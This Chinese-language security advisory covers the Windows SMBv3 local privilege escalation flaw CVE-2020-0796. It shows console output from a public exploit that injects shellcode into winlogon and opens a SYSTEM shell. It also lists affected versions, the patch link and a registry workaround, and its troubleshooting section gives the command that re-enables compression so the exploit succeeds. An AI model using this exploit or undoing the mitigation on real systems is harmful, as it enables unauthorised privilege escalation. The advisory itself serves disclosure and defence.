

Windows SMBv3 本地提权漏洞复现（CVE-2020-0796）

一、威胁描述

博鸿科技安全服务中心监测到 Windows SMBv3 本地提权漏洞（CVE-2020-0796）POC 已公开，第一时间复现了漏洞，如下图

```
命令提示符
Microsoft Windows [版本 10.0.18362.657]
(c) 2019 Microsoft Corporation。保留所有权利。

C:\Users\86155>C:\Users\86155\Desktop\cve-2020-0796-local.exe
-- CVE-2020-0796 LPE --
by @danigargu and @dialluvio_

Successfully connected socket descriptor: 204
Sending SMB negotiation request...
Finished SMB negotiation
Found kernel token at 0xffffe08d1222060
Sending compressed buffer...
SEP_TOKEN_PRIVILEGES changed
Injecting shellcode in winlogon...
Success! ;)

C:\Users\86155>

选择管理员: C:\WINDOWS\System32\cmd.exe
Microsoft Windows [版本 10.0.18362.657]
(c) 2019 Microsoft Corporation。保留所有权利。

C:\WINDOWS\System32>whoami
nt authority\system

C:\WINDOWS\System32>ipconfig

Windows IP 配置
```

注：运行提权工具后会以管理员权限弹出命令提示符窗口

二、影响范围

- Windows 10 Version 1903 for 32-bit Systems
- Windows 10 Version 1903 for ARM64-based Systems
- Windows 10 Version 1903 for x64-based Systems
- Windows 10 Version 1909 for 32-bit Systems
- Windows 10 Version 1909 for ARM64-based Systems
- Windows 10 Version 1909 for x64-based Systems
- Windows Server, version 1903 (Server Core installation)
- Windows Server, version 1909 (Server Core installation)

三、安全建议

POC 的公开意味着此漏洞可能会被大量利用，微软已经发布了此漏洞的安全补丁，访问如下链接：

<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0796>

临时修复方案（禁用 SMB 3.1 的压缩功能）：

以管理员方式运行 Powershell，执行如下命令：

```
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
```

四、复现失败可能原因

复现失败原因：可能禁用了 SMB 3.1 的压缩功能。

解决办法：

（启用 SMB 3.1 的压缩功能）：

以管理员方式运行 Powershell，执行如下命令：

```
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
```

注释： -Value 的值改为 1 禁用